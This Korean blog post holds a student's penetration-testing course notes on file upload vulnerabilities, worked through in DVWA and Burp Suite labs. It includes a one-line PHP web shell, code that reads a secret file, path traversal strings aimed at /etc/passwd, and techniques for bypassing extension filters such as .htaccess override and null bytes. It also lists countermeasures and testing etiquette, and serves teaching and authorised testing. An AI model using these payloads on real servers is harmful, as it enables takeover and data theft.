본문 바로가기
Web hacking/Nomaltic) 웹 해킹 수업 노트 👩‍💻

[9주차] 파일 업로드 취약점

by m_.9m 2021. 12. 10.

*파일 업로드
- SQL Injectoin
- XSS
- CSRF
- 파일 업로드 다운로드
- 인증/인가


3개월: 웹 해킹 공격
4개월: 모의해킹 프로젝트, 취약점 점검 항목, 보고서 작성 방법, 금취분평(금융 취약점 분석 평가)

5개월: 모의해킹 프로젝트


*파일 업로드
> 악성 스크립트 업로드 서버 측에서 실행 쉘 획득
> 업로드 하는데 실행권한이 있어야한다.
> 확장자 필터링이 없는 경우 php 서버 실행
> 악성 파일 업로드(시스템 명령) 실행
> 서버 내부 파일을 삭제하거나 수정, 유출 등 -> 관리자 권한 획득

> 대응방안: 화이트 리스트 기반, 실행권한 제거

+  
1. 파일 업로드란?
> 공격자가 원하는 임의의 파일을 업로드 할 수 있는 취약점.
                                  (모든, 어떤)
-- 발생 위치
> 게시판 자료실
> 프로필 사진 


-- 발생 원인
> 검증 미흡

2. 파일 업로드 공격 시나리오
> 파일 업로드하는데 서버에서 아무 검증이 없다면?

침투 -> 정보 탈취 가능

(1) 서버 측 실행 파일
> Web Shell (서버 측의 ) -> 서버 쉘 장악

 

(2) Phising 
php 서버 측 html 업로드
google.com/aaaa/upload/login.html
<form action="https://normaltic.com/log.php">
<input>
</form>

 

(3) Deface (파일을 Override)
>해킹 수준 유치
>핵티비즘과 같은 행위
goole.com/index.php


(4) XSS
-> Stored XSS
html, js

 

(5) DOS(Denial of Service) - 모의해킹시 체크 안하고, 권고 수준.
> 서비스 거부 공격
다량의 대용량의 파일을 계속 업로드해 과부화시킴

3. Web Shell
하드웨어는 운영체제로 소통
OS가 명령을 받아들이는 곳이 Shell program, 우리가 쓰는 cmd와 같은 것.
-> 외부에서 명령을 받는 기능
-> 그 명령을 실행하는 기능
<?php echo system($_GET['cmd']); ?>

--------------------DVWA 실습
해당 업로드 파일 경로 URL에 webshell?cmd=ls 삽입
/ cmd=pwd / cmd=ifconfig 등 가능

---------------------Burp suite 실습
로그인하고 프로필 사진 업로드하는 기능이 있을때
가장 먼저


1. 정상적으로 파일을 올리고 서비스를 이용해봐야한다.
히스토리를 다 지운 후 정상 서비스 패킷을 읽어본다.

 

시작전 Clear history 수행


test.jpg를 업로드한다.
< img src=""> 그 후 버프 스윗 내 검색으로 img 찾아서 경로를 알아냄

파일을 업로드해본다

 

정상 업로드 확인



* 자료실 파일 업로드 경우
-> 다운로드 시 노출되는 경우도 있음.

2. 업로드된 경로를 알아본다.
더 정확한 URL를 아는 법. 우클릭 이미지 주소 복사. 

 

 

우클릭 이미지 복사


http;// ~~~ //~/~/~/image.jpg
파일선택시 webshell을 업로드해봄.
버프내에선 불가.

(대안 파일 코드)
<?php
echo file_get_content('/home/carlos/secret');
?>

3. 그 경로로 올린 파일을 실행해본다
stf 플래그값이 나옴. (LFI, RFI) 

** 아무 검증이 없을때

** 뭔가  검증이 있을때

*검증: 서버 측 검증

**대응방안
(1) 파일 유형 검증: Content-Type
--Bypass: ㅊ 변조
MIME : Multipurpose Internet Mail Extensions
웹서버는 텍스트만 주고받았었는데 사진, 음악 등을 공유하기 위한

바이너리를 주고받기 위해서 인코딩이 생겨남 <> 디코딩
어떤식으로 인코딩했는지 알려주는 것이 이  Content-Type 이다.

php 파일을 프로필 사진에 업로드 > 안된다고 뜨면 타입 바꿔서 포워딩해봄 >우클릭해서 서버 링크 복사 실행

(2) 실행 되지 않도록 권한을 제한한다.
/upload/test.jpg
/upload/test.php
업로드 파일 내부에 있는 건 실행되지않도록 실행권한을 주지않음
실행안하고 올려만 뒀다 전달만 함.

경로를 타고 들어가면 php가 코드가 그대로 보인다. <?php ?>  
이는 이 php 파일이 Static(정적 파일)로 저장되어 있기 때문이다.

 

*디렉토리 트레버져
../ ../ 등을 이용해 상위폴더로 가는 걸 뜻하는 단어이다.
/uplod/../text.php
파일이름에 ../ 넣음
안되면 reprater에 넣어서 %2F도 해보고 %252f(->%2f) 도 시도해본다.

* 다른 디렉토리에 저장하면 무엇을 할 수있을까?
-> Override, Deface
-> ../../../../../etc/passwd
- > 권한 : 웹쉘시 root 웹쉘일수 있음.

 

(3) 파일 확장자검증
*White list
안전한 편이다.


*blackl list
- 대소문자혼용 우회
.php -> .pHP,pHp
- 예상 외 확장자

.php .php5 .php 4 .jspx

-서버측 설정 파일을 Override 

 

*override, overload
프로그래밍
객체지향 :  Java, Python
절차지향: C

=> 모바일 앱 해킹(안드로이드 앱: Java, Kotlin)
모바일 앱 해킹시 개념 이해 필요

override
: 함수를 재정의, test()

=상위 클래스의 메서드와 이름의 signature가 같은 함수를 하위 클래스에 재정의하는 것을 말한다.

상속의 개념으로 굳이 같은 형태의 메소드를 입력하지 않아도 부모 클래스에 있는 메소드를 끌어다 쓸 수 있는 기능이다. 수정, 추가 또한 가능하다.


overload
: 이름은 같지만 인자가 다른 함수를 정의

=같은 이름을 가지고 있지만 인자의 수나 자료형이 다른 경우를 말한다. 같은 메서드 이름을 가지면서도 매개변수 타입 및 개수를 변화시키고 생성함으로써 여러 상황에 대해 대처가 가능하게 한다.

 

test(arg1);

test(arg1,arg2);

test(arg1,arg2,arg3);

 

htaccess(hypertext access)

/upload/.htaccess -> .nomaltic도 .php 파일로 실행해줘! 명령.

: 파일 앞의 점은 숨김파일이라는 뜻으로 이 파일은 디렉토리에 대한 설정 옵션을 제공한다. 아파치와 같은 웹서버에서 브라우저같은 클라이언트에 접근할 때 어떤 식으로 서비스를 제공할 지 apache2.conf와 sites-enabled 가상 호스트 설정 파일을 통해 결정하는데 이때 서비스 할 파일이 위치한 곳의 디렉토리를 지정한다. 그리고 이에 대한 설정을 sites-enabled 파일의 <Directory> 블럭이 지정하게 된다. .htaccess 파일은 이 <Directory> 블럭과 같은 역할을 한다. 블럭을 통한 서버의 전역설정이 있는 상태에서 .htaccess를 사용하면 이 파일이 위치한 디렉토리에 대한 허용 규칙을 오버라이드하게된다.

--이중확장자는 한 번도 되는 걸 본적이 없지만 사람들이 언급한다.
php.jpg
php -> jpg로 인식

--Null byte
IIS같은 경우 .php%00.jpg를 명령하면 php까지만 인식해서 우회가 가능하다.  

 

-- File Signature
이미지 파일 뒤에 코드를 넣고 Intercept 에서 확장자를 .php로 바꿔줌.

 

-파일을 업로드할 수 있는 또 다른 기능

파일 업로드 기능 X

WEB METHOD

GET, POST

 

PUT, DELETE

dirb URL -> 칼리
put 사용

*쉘
리버스 쉘 실습

**
위험 판단 기준 주관
-- 서버 측 코드가 업로드 돠고 실행된다 -> 취약
-- 서버측 코드가 업도르 돠는대 어디에 저장되는지 모르겠다 -> 권고, 경고
-- 서버 측 코드가 업로드 * 실행x -> 취약점 아님
-- 파일 사이즈 검증을 안 한다 -> 취약(DOS)
-- 허용되지 않는 파일 확장자 업로드 -> 권고, 경고
불랙리스트 기반으로 검증하는 경우임!
.php5 등 알지 못하는 확장자 사용 가능성 있음

* 진단시 주의할점
파일 업로드는 굉장히 민감
- 웹 쉘
-> 공격자가 활용할 수 있음
서버 측에서 코드가 실행된다는 POC 코드로 대체.
Echo hello or exploit conplete! or date() 등등
- 해당 코드가 올라간 경우 담당자에게 문의해서 침투 진행 여부 확인해봐야한다

웹 쉘을 올리는 테스트까지 진행할까요?

- 파일 업로드한 리스트 제시 후 요청 확실하게 지워달라고 해야함

외에도 게시판 글, 댓글 내역 등 내가 한 하나하나 꼼꼼하게 기록하고 지우고 나와야함.

 

<다음 시간>

- 다음 시간 파일 업로드 자매품 lfi rfi
- 최종적인 대응 방안 고민

 

https://devlog.jwgo.kr/2019/04/11/what-is-htaccess/

 

.htaccess 파일은 도대체 뭔가요? · Tonic

사이트 운영에 도움을 주실 수 있습니다. 고맙습니다. --> .htaccess 파일은 도대체 뭔가요? 2019년 04월 11일 워드프레스를 설치한다던지 웹서버로 뭔가 할 때 .htaccess 파일을 자주 보게 된다. 이 파일

devlog.jwgo.kr